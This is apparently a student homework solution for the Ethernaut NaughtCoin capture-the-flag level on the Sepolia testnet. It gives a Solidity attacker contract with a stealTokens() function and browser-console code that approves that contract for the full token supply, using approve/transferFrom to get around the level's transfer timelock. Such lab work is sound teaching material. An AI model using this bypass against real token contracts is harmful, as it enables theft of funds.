hw 5

[thor4]

Naughtcoin attacker contract

• Specify instance address of Ethernaut Naughtcoin contract upon deployment
• Use transferFrom() after approving token spend to attacker to get around timelock

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface INaughtCoin {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract AttackerNaughtcoin {
    INaughtCoin public naughtCoin;

    constructor(INaughtCoin _naughtCoin) {
        naughtCoin = _naughtCoin;
    }

    function stealTokens(address _from, address _to, uint _value) public {
        naughtCoin.transferFrom(_from, _to, _value);
    }
}

Console code

• Provides approval to attacker to send my tokens away

const attackerAddress = '0xDb1A9c1480255962d28aB4247b0DF4d47484A9E3'; 
const totalSupply = await contract.INITIAL_SUPPLY(); 
await contract.approve(attackerAddress, totalSupply);

• instance: 0x7ca6DbF2B3a0303D6FadC7eB200c0414F184e9f9
• attacker: 0xDb1A9c1480255962d28aB4247b0DF4d47484A9E3
• network: Sepolia
• wallet: 0xCBcE3bE28474c80415903947BC435265E2e5e61a